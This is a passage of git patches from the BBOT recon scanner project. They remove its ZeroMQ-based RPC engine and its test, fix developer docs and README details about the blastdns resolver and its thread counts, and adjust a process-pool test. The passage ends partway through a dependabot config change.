synchronize server-side generator by limiting qsize - # socket.setsockopt(zmq.RCVHWM, 1) - # socket.setsockopt(zmq.SNDHWM, 1) - await socket.send(message) - while 1: - try: - binary = await self._infinite_retry( - socket.recv, _context=f"waiting for new iteration from {fn_str}" - ) - # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}") - message = self.unpickle(binary) - self.engine_debug(f"{self.name}: {fn_str} got iteration: {message}") - # error handling - if self.check_error(message) or self.check_stop(message): - break - yield message - except (StopAsyncIteration, GeneratorExit) as e: - exc_name = e.__class__.__name__ - self.engine_debug(f"{self.name}.{command} got {exc_name}") - try: - await self.send_cancel_message(socket, fn_str) - except Exception: - self.engine_debug(f"{self.name}.{command} failed to send cancel message after {exc_name}") - self.log.trace(traceback.format_exc()) - break - - async def send_cancel_message(self, socket, context): - """ - Send a cancel message and wait for confirmation from the server - """ - # -1 == special "cancel" signal - message = pickle.dumps({"c": -1}) - await self._infinite_retry(socket.send, message) - while 1: - response = await self._infinite_retry( - socket.recv, _context=f"waiting for CANCEL_OK from {context}", _max_retries=4 - ) - response = pickle.loads(response) - if isinstance(response, dict): - response = response.get("m", "") - if response == "CANCEL_OK": - break - - async def send_shutdown_message(self): - async with self.new_socket() as socket: - # -99 == special shutdown message - message = pickle.dumps({"c": -99}) - with suppress(TimeoutError, asyncio.exceptions.TimeoutError): - await asyncio.wait_for(socket.send(message), 0.5) - with suppress(TimeoutError, asyncio.exceptions.TimeoutError): - while 1: - response = await asyncio.wait_for(socket.recv(), 0.5) - response = pickle.loads(response) - if isinstance(response, dict): - response = response.get("m", "") - if response == "SHUTDOWN_OK": - break - - def check_stop(self, message): - if isinstance(message, dict) and len(message) == 1 and "_s" in message: - return True - return False - - def make_message(self, command, args=None, kwargs=None): - try: - cmd_id = self.CMDS[command] - except KeyError: - raise KeyError(f'Command "{command}" not found. Available commands: {",".join(self.available_commands)}') - message = {"c": cmd_id} - if args: - message["a"] = args - if kwargs: - message["k"] = kwargs - return pickle.dumps(message) - - @property - def available_commands(self): - return [s for s in self.CMDS if isinstance(s, str)] - - def start_server(self): - process_name = multiprocessing.current_process().name - if SHARED_INTERPRETER_STATE.is_scan_process: - kwargs = dict(self.server_kwargs) - # if we're in tests, we use a single event loop to avoid weird race conditions - # this allows us to more easily mock http, etc. - if os.environ.get("BBOT_TESTING", "") == "True": - kwargs["_loop"] = get_event_loop() - kwargs["debug"] = self._engine_debug - self.process = CORE.create_process( - target=self.server_process, - args=( - self.SERVER_CLASS, - self.socket_path, - ), - kwargs=kwargs, - custom_name=f"BBOT {self.__class__.__name__}", - ) - self.process.start() - return self.process - else: - raise BBOTEngineError( - f"Tried to start server from process {process_name}. Did you forget \"if __name__ == '__main__'?\"" - ) - - @staticmethod - def server_process(server_class, socket_path, **kwargs): - try: - loop = kwargs.pop("_loop", None) - engine_server = server_class(socket_path, **kwargs) - if loop is not None: - future = asyncio.run_coroutine_threadsafe(engine_server.worker(), loop) - future.result() - else: - asyncio.run(engine_server.worker()) - except (asyncio.CancelledError, KeyboardInterrupt, CancelledError): - return - except Exception: - import traceback - - log = logging.getLogger("bbot.core.engine.server") - log.critical(f"Unhandled error in {server_class.__name__} server process: {traceback.format_exc()}") - - @asynccontextmanager - async def new_socket(self): - if self._server_process is None: - self._server_process = self.start_server() - while not self.socket_path.exists(): - self.engine_debug(f"{self.name}: waiting for server process to start...") - await asyncio.sleep(0.1) - socket = self.context.socket(zmq.DEALER) - socket.setsockopt(zmq.LINGER, 0) # Discard pending messages immediately disconnect() or close() - socket.setsockopt(zmq.SNDHWM, 0) # Unlimited send buffer - socket.setsockopt(zmq.RCVHWM, 0) # Unlimited receive buffer - socket.connect(f"ipc://{self.socket_path}") - self.sockets.add(socket) - try: - yield socket - finally: - self.sockets.remove(socket) - with suppress(Exception): - socket.close() - - async def shutdown(self): - if not self._shutdown_status: - self._shutdown_status = True - self.log.verbose(f"{self.name}: shutting down...") - # send shutdown signal - await self.send_shutdown_message() - # then terminate context - try: - self.context.destroy(linger=0) - except Exception: - print(traceback.format_exc(), file=sys.stderr) - try: - self.context.term() - except Exception: - print(traceback.format_exc(), file=sys.stderr) - # terminate the server process/thread - if self._server_process is not None: - try: - self._server_process.join(timeout=5) - if self._server_process.is_alive(): - # threads don't have terminate/kill, only processes do - terminate = getattr(self._server_process, "terminate", None) - if callable(terminate): - terminate() - self._server_process.join(timeout=3) - if self._server_process.is_alive(): - kill = getattr(self._server_process, "kill", None) - if callable(kill): - kill() - except Exception: - with suppress(Exception): - kill = getattr(self._server_process, "kill", None) - if callable(kill): - kill() - self._server_process = None - # delete socket file on exit - self.socket_path.unlink(missing_ok=True) - - -class EngineServer(EngineBase): - """ - The server portion of BBOT's RPC Engine. - - Methods defined here must match the methods in your EngineClient. - - To use the functions, you must create mappings for them in the CMDS attribute, as shown below. - - Examples: - >>> from bbot.core.engine import EngineServer - >>> - >>> class MyServer(EngineServer): - >>> CMDS = { - >>> 0: "my_function", - >>> 1: "my_generator", - >>> } - >>> - >>> def my_function(self, arg1=None): - >>> await asyncio.sleep(1) - >>> return str(arg1) - >>> - >>> def my_generator(self): - >>> for i in range(10): - >>> await asyncio.sleep(1) - >>> yield i - """ - - CMDS = {} - - def __init__(self, socket_path, debug=False): - self.name = f"EngineServer {self.__class__.__name__}" - super().__init__(debug=debug) - self.engine_debug(f"{self.name}: finished setup 1 (_debug={self._engine_debug})") - self.socket_path = socket_path - self.client_id_var = contextvars.ContextVar("client_id", default=None) - # task <--> client id mapping - self.tasks = {} - # child tasks spawned by main tasks - self.child_tasks = {} - self.engine_debug(f"{self.name}: finished setup 2 (_debug={self._engine_debug})") - if self.socket_path is not None: - # create ZeroMQ context - self.context = zmq.asyncio.Context() - # ROUTER socket can handle multiple concurrent requests - self.socket = self.context.socket(zmq.ROUTER) - self.socket.setsockopt(zmq.LINGER, 0) # Discard pending messages immediately disconnect() or close() - self.socket.setsockopt(zmq.SNDHWM, 0) # Unlimited send buffer - self.socket.setsockopt(zmq.RCVHWM, 0) # Unlimited receive buffer - # create socket file - self.socket.bind(f"ipc://{self.socket_path}") - self.engine_debug(f"{self.name}: finished setup 3 (_debug={self._engine_debug})") - - @contextlib.contextmanager - def client_id_context(self, value): - token = self.client_id_var.set(value) - try: - yield - finally: - self.client_id_var.reset(token) - - async def run_and_return(self, client_id, command_fn, *args, **kwargs): - fn_str = f"{command_fn.__name__}({args}, {kwargs})" - self.engine_debug(fn_str) - with self.client_id_context(client_id): - try: - self.engine_debug(f"{self.name}: starting run-and-return {fn_str}") - try: - result = await command_fn(*args, **kwargs) - except BaseException as e: - if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - log_fn = self.log.debug - else: - log_fn = self.log.error - error = f"{self.name}: error in {fn_str}: {e}" - trace = traceback.format_exc() - log_fn(error) - self.log.trace(trace) - result = {"_e": (error, trace)} - finally: - self.tasks.pop(client_id, None) - self.engine_debug(f"{self.name}: sending response to {fn_str}: {result}") - await self.send_socket_multipart(client_id, result) - except BaseException as e: - self.log.critical( - f"Unhandled exception in {self.name}.run_and_return({client_id}, {command_fn}, {args}, {kwargs}): {e}" - ) - self.log.critical(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name} finished run-and-return {fn_str}") - - async def run_and_yield(self, client_id, command_fn, *args, **kwargs): - fn_str = f"{command_fn.__name__}({args}, {kwargs})" - with self.client_id_context(client_id): - try: - self.engine_debug(f"{self.name}: starting run-and-yield {fn_str}") - try: - async for _ in command_fn(*args, **kwargs): - self.engine_debug(f"{self.name}: sending iteration for {fn_str}: {_}") - await self.send_socket_multipart(client_id, _) - except BaseException as e: - if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - log_fn = self.log.debug - else: - log_fn = self.log.error - error = f"{self.name}: error in {fn_str}: {e}" - trace = traceback.format_exc() - log_fn(error) - self.log.trace(trace) - result = {"_e": (error, trace)} - await self.send_socket_multipart(client_id, result) - finally: - self.engine_debug(f"{self.name}: reached end of run-and-yield iteration for {fn_str}") - # _s == special signal that means StopIteration - await self.send_socket_multipart(client_id, {"_s": None}) - self.tasks.pop(client_id, None) - except BaseException as e: - self.log.critical( - f"Unhandled exception in {self.name}.run_and_yield({client_id}, {command_fn}, {args}, {kwargs}): {e}" - ) - self.log.critical(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name}: finished run-and-yield {fn_str}") - - async def send_socket_multipart(self, client_id, message): - try: - message = pickle.dumps(message) - await self._infinite_retry(self.socket.send_multipart, [client_id, message]) - except Exception as e: - self.log.verbose(f"{self.name}: error sending ZMQ message: {e}") - self.log.trace(traceback.format_exc()) - - def check_error(self, message): - if message is error_sentinel: - return True - - async def worker(self): - self.engine_debug(f"{self.name}: starting worker") - try: - while 1: - client_id, binary = await self.socket.recv_multipart() - message = self.unpickle(binary) - self.engine_debug(f"{self.name} got message: {message}") - if self.check_error(message): - continue - - cmd = message.get("c", None) - if not isinstance(cmd, int): - self.log.warning(f"{self.name}: no command sent in message: {message}") - continue - - # -1 == cancel task - if cmd == -1: - self.engine_debug(f"{self.name} got cancel signal") - await self.send_socket_multipart(client_id, {"m": "CANCEL_OK"}) - await self.cancel_task(client_id) - continue - - # -99 == shutdown task - if cmd == -99: - self.log.verbose(f"{self.name} got shutdown signal") - await self.send_socket_multipart(client_id, {"m": "SHUTDOWN_OK"}) - await self._shutdown() - return - - args = message.get("a", ()) - if not isinstance(args, tuple): - self.log.warning(f"{self.name}: received invalid args of type {type(args)}, should be tuple") - continue - kwargs = message.get("k", {}) - if not isinstance(kwargs, dict): - self.log.warning(f"{self.name}: received invalid kwargs of type {type(kwargs)}, should be dict") - continue - - command_name = self.CMDS[cmd] - command_fn = getattr(self, command_name, None) - - if command_fn is None: - self.log.warning(f'{self.name} has no function named "{command_fn}"') - continue - - if inspect.isasyncgenfunction(command_fn): - self.engine_debug(f"{self.name}: creating run-and-yield coroutine for {command_name}()") - coroutine = self.run_and_yield(client_id, command_fn, *args, **kwargs) - else: - self.engine_debug(f"{self.name}: creating run-and-return coroutine for {command_name}()") - coroutine = self.run_and_return(client_id, command_fn, *args, **kwargs) - - self.engine_debug(f"{self.name}: creating task for {command_name}() coroutine") - task = asyncio.create_task(coroutine) - self.tasks[client_id] = task, command_fn, args, kwargs - self.engine_debug(f"{self.name}: finished creating task for {command_name}() coroutine") - except BaseException as e: - await self._shutdown() - if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.log.error(f"{self.name}: error in EngineServer worker: {e}") - self.log.trace(traceback.format_exc()) - finally: - self.engine_debug(f"{self.name}: finished worker()") - - async def _shutdown(self): - if not self._shutdown_status: - self.log.verbose(f"{self.name}: shutting down...") - self._shutdown_status = True - await self.cancel_all_tasks() - context = getattr(self, "context", None) - if context is not None: - try: - context.destroy(linger=0) - except Exception: - self.log.trace(traceback.format_exc()) - try: - context.term() - except Exception: - self.log.trace(traceback.format_exc()) - self.log.verbose(f"{self.name}: finished shutting down") - - async def task_pool(self, fn, args_kwargs, threads=10, timeout=300, global_kwargs=None): - if global_kwargs is None: - global_kwargs = {} - - tasks = {} - args_kwargs = list(args_kwargs) - - def new_task(): - if args_kwargs: - kwargs = {} - tracker = None - args = args_kwargs.pop(0) - if isinstance(args, (list, tuple)): - # you can specify a custom tracker value if you want - # this helps with correlating results - with suppress(ValueError): - args, kwargs, tracker = args - # or you can just specify args/kwargs - with suppress(ValueError): - args, kwargs = args - - if not isinstance(kwargs, dict): - raise ValueError(f"kwargs must be dict (got: {kwargs})") - if not isinstance(args, (list, tuple)): - args = [args] - - task = self.new_child_task(fn(*args, **kwargs, **global_kwargs)) - tasks[task] = (args, kwargs, tracker) - - for _ in range(threads): # Start initial batch of tasks - new_task() - - while tasks: # While there are tasks pending - # Wait for the first task to complete - finished = await self.finished_tasks(tasks, timeout=timeout) - for task in finished: - result = task.result() - (args, kwargs, tracker) = tasks.pop(task) - yield (args, kwargs, tracker), result - new_task() - - def new_child_task(self, coro): - """ - Create a new asyncio task, making sure to track it based on the client id. - - This allows the task to be automatically cancelled if its parent is cancelled. - """ - client_id = self.client_id_var.get() - task = asyncio.create_task(coro) - - if client_id: - - def remove_task(t): - tasks = self.child_tasks.get(client_id, set()) - tasks.discard(t) - if not tasks: - self.child_tasks.pop(client_id, None) - - task.add_done_callback(remove_task) - - try: - self.child_tasks[client_id].add(task) - except KeyError: - self.child_tasks[client_id] = {task} - - return task - - async def finished_tasks(self, tasks, timeout=None): - """ - Given a list of asyncio tasks, return the ones that are finished with an optional timeout - """ - if tasks: - try: - done, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED, timeout=timeout) - return done - except BaseException as e: - if isinstance(e, (TimeoutError, asyncio.exceptions.TimeoutError)): - self.log.warning(f"{self.name}: Timeout after {timeout:,} seconds in finished_tasks({tasks})") - for task in list(tasks): - task.cancel() - self._await_cancelled_task(task) - else: - if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.log.error(f"{self.name}: Unhandled exception in finished_tasks({tasks}): {e}") - self.log.trace(traceback.format_exc()) - raise - return set() - - async def cancel_task(self, client_id): - parent_task = self.tasks.pop(client_id, None) - if parent_task is None: - return - parent_task, _cmd, _args, _kwargs = parent_task - self.engine_debug(f"{self.name}: Cancelling client id {client_id} (task: {parent_task})") - parent_task.cancel() - child_tasks = self.child_tasks.pop(client_id, set()) - if child_tasks: - self.engine_debug(f"{self.name}: Cancelling {len(child_tasks):,} child tasks for client id {client_id}") - for child_task in child_tasks: - child_task.cancel() - - for task in [parent_task] + list(child_tasks): - await self._await_cancelled_task(task) - - async def _await_cancelled_task(self, task): - try: - await asyncio.wait_for(task, timeout=10) - except (TimeoutError, asyncio.exceptions.TimeoutError): - self.log.trace(f"{self.name}: Timeout cancelling task: {task}") - return - except (KeyboardInterrupt, asyncio.CancelledError): - return - except BaseException as e: - self.log.error(f"Unhandled error in {task.get_coro().__name__}(): {e}") - self.log.trace(traceback.format_exc()) - - async def cancel_all_tasks(self): - for client_id in list(self.tasks): - await self.cancel_task(client_id) - for client_id, tasks in self.child_tasks.items(): - for task in list(tasks): - await self._await_cancelled_task(task) diff --git a/bbot/errors.py b/bbot/errors.py index db295da81d..d204222adb 100644 --- a/bbot/errors.py +++ b/bbot/errors.py @@ -62,15 +62,11 @@ class PresetAbortError(PresetConditionError): pass -class BBOTEngineError(BBOTError): +class WebError(BBOTError): pass -class WebError(BBOTEngineError): - pass - - -class DNSError(BBOTEngineError): +class DNSError(BBOTError): pass diff --git a/bbot/test/test_step_1/test_engine.py b/bbot/test/test_step_1/test_engine.py deleted file mode 100644 index 653c3dcd6c..0000000000 --- a/bbot/test/test_step_1/test_engine.py +++ /dev/null @@ -1,146 +0,0 @@ -from ..bbot_fixtures import * - - -@pytest.mark.asyncio -async def test_engine(): - from bbot.core.engine import EngineClient, EngineServer - - counter = 0 - yield_cancelled = False - yield_errored = False - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - - class TestEngineServer(EngineServer): - CMDS = { - 0: "return_thing", - 1: "yield_stuff", - } - - async def return_thing(self, n): - nonlocal return_started - nonlocal return_finished - nonlocal return_cancelled - nonlocal return_errored - try: - return_started = True - await asyncio.sleep(n) - return_finished = True - return f"thing{n}" - except asyncio.CancelledError: - return_cancelled = True - raise - except Exception: - return_errored = True - raise - - async def yield_stuff(self, n): - nonlocal counter - nonlocal yield_cancelled - nonlocal yield_errored - try: - for i in range(n): - yield f"thing{i}" - counter += 1 - await asyncio.sleep(0.1) - except asyncio.CancelledError: - yield_cancelled = True - raise - except Exception: - yield_errored = True - raise - - class TestEngineClient(EngineClient): - SERVER_CLASS = TestEngineServer - - async def return_thing(self, n): - return await self.run_and_return("return_thing", n) - - async def yield_stuff(self, n): - async for _ in self.run_and_yield("yield_stuff", n): - yield _ - - test_engine = TestEngineClient() - - # test return functionality - return_res = await test_engine.return_thing(1) - assert return_res == "thing1" - - # test async generator - assert counter == 0 - assert yield_cancelled is False - yield_res = [r async for r in test_engine.yield_stuff(13)] - assert yield_res == [f"thing{i}" for i in range(13)] - assert len(yield_res) == 13 - assert counter == 13 - - # test async generator with cancellation - counter = 0 - yield_cancelled = False - yield_errored = False - agen = test_engine.yield_stuff(1000) - async for r in agen: - if counter > 10: - await agen.aclose() - break - await asyncio.sleep(5) - assert yield_cancelled is True - assert yield_errored is False - assert counter < 15 - - # test async generator with error - yield_cancelled = False - yield_errored = False - agen = test_engine.yield_stuff(None) - with pytest.raises(BBOTEngineError): - async for _ in agen: - pass - assert yield_cancelled is False - assert yield_errored is True - - # test return with cancellation - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - task = asyncio.create_task(test_engine.return_thing(2)) - await asyncio.sleep(1) - task.cancel() - with pytest.raises(asyncio.CancelledError): - await task - await asyncio.sleep(0.1) - assert return_started is True - assert return_finished is False - assert return_cancelled is True - assert return_errored is False - - # test return with late cancellation - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - task = asyncio.create_task(test_engine.return_thing(1)) - await asyncio.sleep(2) - task.cancel() - result = await task - assert result == "thing1" - assert return_started is True - assert return_finished is True - assert return_cancelled is False - assert return_errored is False - - # test return with error - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - with pytest.raises(BBOTEngineError): - result = await test_engine.return_thing(None) - assert return_started is True - assert return_finished is False - assert return_cancelled is False - assert return_errored is True - - await test_engine.shutdown() diff --git a/docs/dev/engine.md b/docs/dev/engine.md deleted file mode 100644 index d77bd3970e..0000000000 --- a/docs/dev/engine.md +++ /dev/null @@ -1,5 +0,0 @@ -::: bbot.core.engine.EngineBase - -::: bbot.core.engine.EngineClient - -::: bbot.core.engine.EngineServer diff --git a/mkdocs.yml b/mkdocs.yml index a7345cb833..b811be387c 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -55,7 +55,6 @@ nav: - Target: dev/target.md - BaseModule: dev/basemodule.md - BBOTCore: dev/core.md - - Engine: dev/engine.md - Helpers: - Overview: dev/helpers/index.md - Command: dev/helpers/command.md From aa996435b103b0bee6836ffa648a615b3149eb34 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:18:31 -0400 Subject: [PATCH 860/912] Fix helper docs: stale DNS methods, syntax error, engine reference --- docs/dev/helpers/command.md | 2 +- docs/dev/helpers/dns.md | 7 ++++--- docs/dev/helpers/index.md | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/dev/helpers/command.md b/docs/dev/helpers/command.md index 3716d2037a..8b433a2e7a 100644 --- a/docs/dev/helpers/command.md +++ b/docs/dev/helpers/command.md @@ -7,7 +7,7 @@ These helpers can be invoked directly from `self.helpers`, but inside a module t ```python # simple subprocess ls_result = await self.run_process("ls", "-l") -for line ls_result.stdout.splitlines(): +for line in ls_result.stdout.splitlines(): # ... # iterate through each line in real time diff --git a/docs/dev/helpers/dns.md b/docs/dev/helpers/dns.md index 5a51d61168..53fc0225c1 100644 --- a/docs/dev/helpers/dns.md +++ b/docs/dev/helpers/dns.md @@ -5,7 +5,7 @@ These are helpers related to DNS resolution. They are used throughout BBOT and i Note that these helpers can be invoked directly from `self.helpers`, e.g.: ```python -self.helpers.resolve("evilcorp.com") +await self.helpers.resolve("evilcorp.com") ``` ::: bbot.core.helpers.dns.DNSHelper @@ -13,7 +13,8 @@ self.helpers.resolve("evilcorp.com") options: members: - resolve - - resolve_batch - - resolve_raw + - resolve_full + - resolve_multi_full + - resolve_batch_full - is_wildcard - is_wildcard_domain diff --git a/docs/dev/helpers/index.md b/docs/dev/helpers/index.md index cc27ed1f2b..545e7e2b01 100644 --- a/docs/dev/helpers/index.md +++ b/docs/dev/helpers/index.md @@ -1,6 +1,6 @@ # BBOT Helpers -In this section are various helper functions that are designed to make your life easier when devving on BBOT. Whether you're extending BBOT by writing a module or working on its core engine, these functions are designed to act as useful machine parts to perform essential tasks, such as making a web request or executing a DNS query. +In this section are various helper functions that are designed to make your life easier when devving on BBOT. Whether you're extending BBOT by writing a module or working on its core, these functions are designed to act as useful machine parts to perform essential tasks, such as making a web request or executing a DNS query. The vast majority of these helpers can be accessed directly from the `.helpers` attribute of a scan or module, like so: From 0ab5e5417233f9494bb72468988309c3807ca3b5 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:32:30 -0400 Subject: [PATCH 861/912] Update README: Python 3.10+, blastdns, sync presets, fix TOC --- README.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 5eabdc7eeb..2b4b69602c 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ [![bbot_banner](https://github.com/user-attachments/assets/f02804ce-9478-4f1e-ac4d-9cf5620a3214)](https://github.com/blacklanternsecurity/bbot) -[![Python Version](https://img.shields.io/badge/python-3.10+-FF8400)](https://www.python.org) [![License](https://img.shields.io/badge/license-AGPLv3-FF8400.svg)](https://github.com/blacklanternsecurity/bbot/blob/dev/LICENSE) [![DEF CON Recon Village 2024](https://img.shields.io/badge/DEF%20CON%20Demo%20Labs-2023-FF8400.svg)](https://www.reconvillage.org/talks) [![PyPi Downloads](https://static.pepy.tech/personalized-badge/bbot?right_color=orange&left_color=grey)](https://pepy.tech/project/bbot) [![Ruff](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json)](https://github.com/astral-sh/ruff) [![Tests](https://github.com/blacklanternsecurity/bbot/actions/workflows/tests.yml/badge.svg?branch=stable)](https://github.com/blacklanternsecurity/bbot/actions?query=workflow%3A"tests") [![Codecov](https://codecov.io/gh/blacklanternsecurity/bbot/branch/dev/graph/badge.svg?token=IR5AZBDM5K)](https://codecov.io/gh/blacklanternsecurity/bbot) [![Discord](https://img.shields.io/discord/859164869970362439)](https://discord.com/invite/PZqkgxu5SA) +[![Python Version](https://img.shields.io/badge/python-3.10+-FF8400)](https://www.python.org) [![License](https://img.shields.io/badge/license-AGPLv3-FF8400.svg)](https://github.com/blacklanternsecurity/bbot/blob/dev/LICENSE) [![PyPi Downloads](https://static.pepy.tech/personalized-badge/bbot?right_color=orange&left_color=grey)](https://pepy.tech/project/bbot) [![Ruff](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json)](https://github.com/astral-sh/ruff) [![Tests](https://github.com/blacklanternsecurity/bbot/actions/workflows/tests.yml/badge.svg?branch=stable)](https://github.com/blacklanternsecurity/bbot/actions?query=workflow%3A"tests") [![Codecov](https://codecov.io/gh/blacklanternsecurity/bbot/branch/dev/graph/badge.svg?token=IR5AZBDM5K)](https://codecov.io/gh/blacklanternsecurity/bbot) [![Discord](https://img.shields.io/discord/859164869970362439)](https://discord.com/invite/PZqkgxu5SA) ### **BEE·bot** is a multipurpose scanner inspired by [Spiderfoot](https://github.com/smicallef/spiderfoot), built to automate your **Recon**, **Bug Bounties**, and **ASM**! @@ -20,7 +20,7 @@ pipx install --pip-args '\--pre' bbot _For more installation methods, including [Docker](https://hub.docker.com/r/blacklanternsecurity/bbot), see [Getting Started](https://www.blacklanternsecurity.com/bbot/Stable/)_ -> **Speed tip:** BBOT's DNS engine spins up ten workers per resolver in `/etc/resolv.conf`. Adding more unfiltered resolvers dramatically speeds up scans. See the [sample resolv.conf](docs/data/resolv-sample.conf) and [Tips and Tricks](https://www.blacklanternsecurity.com/bbot/Stable/scanning/tips_and_tricks/#speed-up-scans-with-more-dns-resolvers) for details. +> **Speed tip:** BBOT's DNS resolver ([blastdns](https://github.com/blacklanternsecurity/blastdns)) spins up multiple threads per resolver in `/etc/resolv.conf`. Adding more unfiltered resolvers dramatically speeds up scans. See the [sample resolv.conf](docs/data/resolv-sample.conf) and [Tips and Tricks](https://www.blacklanternsecurity.com/bbot/Stable/scanning/tips_and_tricks/#speed-up-scans-with-more-dns-resolvers) for details. ## Example Commands @@ -225,10 +225,18 @@ include: config: modules: + baddns: + enable_references: True dnsbrute: recursive_mutations: true dnscommonsrv: recursive_mutations: true + webbrute: + avoid_wafs: False + wayback: + urls: True + parameters: True + archive: True ``` @@ -386,6 +394,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - **Modules** - [List of Modules](https://www.blacklanternsecurity.com/bbot/Stable/modules/list_of_modules) - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei) + - [Wayback](https://www.blacklanternsecurity.com/bbot/Stable/modules/wayback) - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules) - [Lightfuzz (DAST)](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) - **Misc** @@ -395,6 +404,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - **Developer Manual** - [Development Overview](https://www.blacklanternsecurity.com/bbot/Stable/dev/) - [Setting Up a Dev Environment](https://www.blacklanternsecurity.com/bbot/Stable/dev/dev_environment) + - [Core Dependencies](https://www.blacklanternsecurity.com/bbot/Stable/dev/core_dependencies) - [BBOT Internal Architecture](https://www.blacklanternsecurity.com/bbot/Stable/dev/architecture) - [How to Write a BBOT Module](https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto) - [Validating & Inspecting Presets](https://www.blacklanternsecurity.com/bbot/Stable/dev/preset_validation) @@ -407,7 +417,6 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [Target](https://www.blacklanternsecurity.com/bbot/Stable/dev/target) - [BaseModule](https://www.blacklanternsecurity.com/bbot/Stable/dev/basemodule) - [BBOTCore](https://www.blacklanternsecurity.com/bbot/Stable/dev/core) - - [Engine](https://www.blacklanternsecurity.com/bbot/Stable/dev/engine) - **Helpers** - [Overview](https://www.blacklanternsecurity.com/bbot/Stable/dev/helpers/) - [Command](https://www.blacklanternsecurity.com/bbot/Stable/dev/helpers/command) From 215b4a17a1ccce2dc47200764ec075d1cb3d67f6 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 18:24:40 -0400 Subject: [PATCH 862/912] Fix DNS resolver thread counts in tips and tricks --- docs/scanning/tips_and_tricks.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index f64c0972a7..81f34f0ad4 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -47,7 +47,7 @@ bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 ### Speed Up Scans with More DNS Resolvers -By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS engine (blastdns) spins up ten workers per resolver, so more resolvers = more parallelism = faster scans. +By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) spins up multiple threads per resolver (default: `5`, configurable via `dns.threads`), so more resolvers = more parallelism = faster scans. For OSINT, it's critical that every resolver is **unfiltered**. Specialized resolvers that try to block ads, malicious domains, etc. will intentionally omit results. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: @@ -55,7 +55,7 @@ For OSINT, it's critical that every resolver is **unfiltered**. Specialized reso --8<-- "docs/data/resolv-sample.conf" ``` -Copy this to `/etc/resolv.conf` (or append the `nameserver` lines to your existing config). With all 11 resolvers, blastdns will run 110 workers in parallel instead of the typical 10-30 you get from a default OS config. +Copy this to `/etc/resolv.conf` (or append the `nameserver` lines to your existing config). With all 11 resolvers at the default 5 threads each, blastdns will run 55 workers in parallel instead of the typical 5-15 you get from a default OS config. !!! tip If your system uses `systemd-resolved` or `resolvconf`, you may need to configure the upstream forwarders there instead of editing `/etc/resolv.conf` directly. From 6d04d266e2b87681eb287be936197174b95b1fa5 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 19:15:42 -0400 Subject: [PATCH 863/912] Fix PID collection for forkserver: hold workers with a 1s sleep With forkserver (Python 3.14 default), worker spawn is slow enough that fast sequential tasks all route to the first worker. Submit concurrent 1s tasks so the pool is forced to dispatch to both workers. --- bbot/test/test_step_1/test_helpers.py | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 971c60fda7..d085c99b2e 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1025,17 +1025,14 @@ def _init(): libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0) def _get_pid(): + time.sleep(1) return os.getpid() if __name__ == "__main__": pool = ProcessPoolExecutor(max_workers=2, initializer=_init) - # loop until we've seen both workers (sequential submission can hit the same one) - pids = set() - for _ in range(20): - pids.add(pool.submit(_get_pid).result(timeout=30)) - if len(pids) >= 2: - break - pids = list(pids) + # submit concurrently so both workers are occupied (each takes 1s) + futs = [pool.submit(_get_pid) for _ in range(2)] + pids = list(set(f.result(timeout=30) for f in futs)) # keep workers busy so they stay alive [pool.submit(time.sleep, 3600) for _ in range(2)] print(json.dumps(pids), flush=True) From 852258a493d0b197f0af22b39a1be8f39f1da9e9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 19:19:28 -0400 Subject: [PATCH 864/912] Switch dependabot from pip to uv ecosystem --- .github/dependabot.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 1ad88ccb68..86128d1eb9 100644 --- a/.github/dependabot.yml +++ 